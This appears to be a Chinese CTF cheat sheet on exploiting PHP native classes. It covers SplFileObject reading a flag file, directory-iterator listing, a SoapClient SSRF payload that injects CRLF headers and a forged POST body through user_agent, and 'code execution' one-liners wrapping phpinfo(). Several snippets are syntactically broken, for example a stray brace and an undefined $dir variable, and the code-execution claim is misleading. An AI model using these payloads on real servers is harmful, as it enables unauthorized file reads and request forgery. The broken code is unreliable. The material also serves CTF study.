php原生类
读取文件
可使用:SplFileObject类
用法:
<?php$f=new SplFileObject('/flag') //读取flag文件
}
?>
遍历目录
可使用:DirectoryIterator、RecursiveDirectoryIterator、FilesystemIterator
用法:
<?php$f=new DirectoryIterator('/') //扫描根目录 foreach($dir as $f) {echo($f . '<br>');
}
?>
RecursiveDirectoryIterator、FilesystemIterator类同上
FilesystemIterator不会输出..
访问服务器的类(SSRF可利用)
可使用:SoapClient
代码解析
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'chendi^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "dwzzzzzzzzzz")); //构造POST请求,uri参数用于在SOAP消息中标识XML元素和属性的来源或含义。
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
$c =unserialize($a);
$c->aaas(); //调用不存在函数触发__call
使用原生类进行代码执行
使用异常处理类Exception执行代码
echo new Exception(phpinfo());
使用CachingIterator类执行代码
echo new CachingIterator(phpinfo());
使用Error类执行代码
echo new Error(phpinfo());
使用DirectoryIterator类执行代码
echo new DirectoryIterator(phpinfo());
反射类的使用
ReflectionClass
ReflectionClass类可以获取类的名称、父类、接口、方法、属性
<?php
$a=new ReflectionClass('类名');
echo($a);//输出类的名称和属性、方法等
?>
利用ReflectionClass 执行命令
<?phpecho new ReflectionClass(phpinfo());
?>
